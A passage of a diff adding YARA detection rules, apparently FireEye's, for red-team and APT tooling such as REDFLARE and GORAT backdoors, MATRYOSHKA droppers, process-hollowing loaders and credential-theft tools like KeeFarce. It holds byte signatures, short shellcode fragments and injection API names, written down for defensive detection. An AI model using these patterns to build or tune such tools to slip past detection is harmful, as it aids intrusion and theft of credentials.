0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 }
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and any of ($bytes*)
+}
+rule APT_Loader_Win64_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "f20824fa6e5c81e3804419f108445368"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 }
+        $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Loader_Raw64_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "5e14f77f85fd9a5be46e7f04b8a144f5"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF }
+    condition:
+        (uint16(0) != 0x5A4D) and all of them
+}
+rule HackTool_MSIL_SHARPZEROLOGON_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_CoreHound_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_NETAssemblyInject_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide
+        $typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide
+        $typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Hunting_GadgetToJScript_1
+{
+    meta:
+        description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling."
+        md5 = "7af24305a409a2b8f83ece27bb0f7900"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl"
+        $s2 = "henlOZXRUb0pzY3JpcHRMb2Fk"
+        $s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV"
+    condition:
+        any of them
+}
+rule Trojan_MSIL_GORAT_Plugin_DOTNET_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide
+        $typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "100d73b35f23b2fe84bf7cd37140bf4d,4e7e90c7147ee8aa01275894734f4492"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $1 = "initialize" fullword
+        $2 = "runCommand" fullword
+        $3 = "stop" fullword
+        $4 = "fini" fullword
+        $5 = "VirtualAllocEx" fullword
+        $6 = "WriteProcessMemory" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Dropper_Win64_MATRYOSHKA_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        description = "matryoshka_dropper.rs"
+        md5 = "edcd58ba5b1b87705e95089002312281"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 }
+        $sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPGOPHER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_KeeFarce_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Backdoor_Win_GORAT_1
+{
+    meta:
+        description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)."
+        md5 = "66cdaa156e4d372cfa3dea0137850d20"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $s1 = "httpComms.dll" ascii wide
+        $s2 = "Cookie: SID1=%s" ascii wide
+        $s3 = "Global\\" ascii wide
+        $s4 = "stage0.dll" ascii wide
+        $s5 = "runCommand" ascii wide
+        $s6 = "getData" ascii wide
+        $s7 = "initialize" ascii wide
+        $s8 = "Windows NT %d.%d;" ascii wide
+        $s9 = "!This program cannot be run in DOS mode." ascii wide
+    condition:
+        filesize < 50KB and all of them
+}
+rule APT_Dropper_Win_MATRYOSHKA_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        description = "matryoshka_dropper.rs"
+        md5 = "edcd58ba5b1b87705e95089002312281"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "\x00matryoshka.exe\x00"
+        $s2 = "\x00Unable to write data\x00"
+        $s3 = "\x00Error while spawning process. NTStatus: \x0a\x00"
+        $s4 = "\x00.execmdstart/Cfailed to execute process\x00"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_Win_Generic_20
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "5125979110847d35a338caac6bff2aa8"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
+        $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
+        $si1 = "VirtualProtect" fullword
+        $si2 = "malloc" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win32_PGF_2
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/dllmain/"
+        md5 = "04eb45f8546e052fe348fda2425b058c"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? }
+        $sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? }
+        $sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_HackTool_MSIL_REDTEAMMATERIALS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide
+        $typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_7
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $1 = "initialize" fullword
+        $2 = "getData" fullword
+        $3 = "putData" fullword
+        $4 = "fini" fullword
+        $5 = "NamedPipe"
+        $named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Trojan_Win_REDFLARE_8
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $1 = "PSRunner.PSRunner" fullword
+        $2 = "CorBindToRuntime" fullword
+        $3 = "ReportEventW" fullword
+        $4 = "InvokePS" fullword wide
+        $5 = "runCommand" fullword
+        $6 = "initialize" fullword
+        $trap = { 03 40 00 80 E8 [4] CC }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Backdoor_Win_GORAT_5
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $1 = "comms.BeaconData" fullword
+        $2 = "comms.CommandResponse" fullword
+        $3 = "rat.BaseChannel" fullword
+        $4 = "rat.Config" fullword
+        $5 = "rat.Core" fullword
+        $6 = "platforms.AgentPlatform" fullword
+        $7 = "GetHostID" fullword
+        $8 = "/rat/cmd/gorat_shared/dllmain.go" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_GPOHUNT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_JUSTASK_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_4
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $s1 = "LogonUserW" fullword
+        $s2 = "ImpersonateLoggedOnUser" fullword
+        $s3 = "runCommand" fullword
+        $user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_TITOSPECIAL_1
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "4bf96a7040a683bd34c618431e571e26"
+        rev = 5
+        author = "FireEye"
+    strings:
+        $ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 }
+        $ind_s1 = "NtReadVirtualMemory" fullword wide
+        $ind_s2 = "WriteProcessMemory" fullword
+        $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
+        $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of ($ind*) and any of ($shellcode* )
+}
+rule Dropper_LNK_LNKSmasher_1
+{
+    meta:
+        description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID."
+        md5 = "0a86d64c3b25aa45428e94b6e0be3e08"
+        rev = 6
+        author = "FireEye"
+    strings:
+        $drive_serial = { 12 F7 26 BE }
+        $file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 }
+        $guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D }
+        $header = { 4C 00 00 00 01 14 02 }
+    condition:
+        $header at 0 and all of them
+}
+rule HackTool_MSIL_SharpSchtask_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Controller_Linux_REDFLARE_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $1 = "/RedFlare/gorat_server"
+        $2 = "RedFlare/sandals"
+        $3 = "goratsvr.CommandResponse" fullword
+        $4 = "goratsvr.CommandRequest" fullword
+    condition:
+        (uint32(0) == 0x464c457f) and all of them
+}
+rule APT_HackTool_MSIL_WMISPY_2
+{
+    meta:
+        description = "wql searches"
+        md5 = "3651f252d53d2f46040652788499d65a"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $MSIL = "_CorExeMain"
+        $str1 = "root\\cimv2" wide
+        $str2 = "root\\standardcimv2" wide
+        $str3 = "from MSFT_NetNeighbor" wide
+        $str4 = "from Win32_NetworkLoginProfile" wide
+        $str5 = "from Win32_IP4RouteTable" wide
+        $str6 = "from Win32_DCOMApplication" wide
+        $str7 = "from Win32_SystemDriver" wide
+        $str8 = "from Win32_Share" wide
+        $str9 = "from Win32_Process" wide
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and $MSIL and all of ($str*)
+}
+rule HackTool_MSIL_SharPersist_2
+{
+    meta:
+        md5 = "98ecf58d48a3eae43899b45cec0fc6b7"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $a1 = "SharPersist.lib"
+        $a2 = "SharPersist.exe"
+        $b1 = "ERROR: Invalid hotkey location option given." ascii wide
+        $b2 = "ERROR: Invalid hotkey given." ascii wide
+        $b3 = "ERROR: Keepass configuration file not found." ascii wide
+        $b4 = "ERROR: Keepass configuration file was not found." ascii wide
+        $b5 = "ERROR: That value already exists in:" ascii wide
+        $b6 = "ERROR: Failed to delete hidden registry key." ascii wide
+        $pdb1 = "\\SharPersist\\"
+        $pdb2 = "\\SharPersist.pdb"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and ((@pdb2[1] < @pdb1[1] + 50) or (1 of ($a*) and 2 of ($b*)))
+}
+rule APT_Loader_Win_MATRYOSHKA_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        description = "matryoshka_process_hollow.rs"
+        md5 = "44887551a47ae272d7873a354d24042d"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "ZwQueryInformationProcess" fullword
+        $s2 = "WriteProcessMemory" fullword
+        $s3 = "CreateProcessW" fullword
+        $s4 = "WriteProcessMemory" fullword
+        $s5 = "\x00Invalid NT Signature!\x00"
+        $s6 = "\x00Error while creating and mapping section. NTStatus: "
+        $s7 = "\x00Error no process information - NTSTATUS:"
+        $s8 = "\x00Error while erasing pe header. NTStatus: "
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule Builder_MSIL_SinfulOffice_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_SharPy_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_MSIL_WILDCHILD_1
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "6f04a93753ae3ae043203437832363c4"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "\x00QueueUserAPC\x00"
+        $s2 = "\x00WriteProcessMemory\x00"
+        $sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_Win_Generic_18
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "c74ebb6c238bbfaefd5b32d2bf7c7fcc"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
+        $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
+        $si1 = "fread" fullword
+        $si2 = "fwrite" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_MSIL_HOLSTER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project."
+        md5 = "a91bf61cc18705be2288a0f6f125068f"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_MSIL_TRIMBISHOP_1
+{
+    meta:
+        date_created = "2020-12-03"
+        date_modified = "2020-12-03"
+        md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
+        $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
+        $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (@sb1[1] < @sb2[1]) and (all of ($ss*)) and (all of ($tb*))
+}
+rule APT_Loader_MSIL_TRIMBISHOP_2
+{
+    meta:
+        date_created = "2020-12-03"
+        date_modified = "2020-12-03"
+        md5 = "c0598321d4ad4cf1219cc4f84bad4094"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
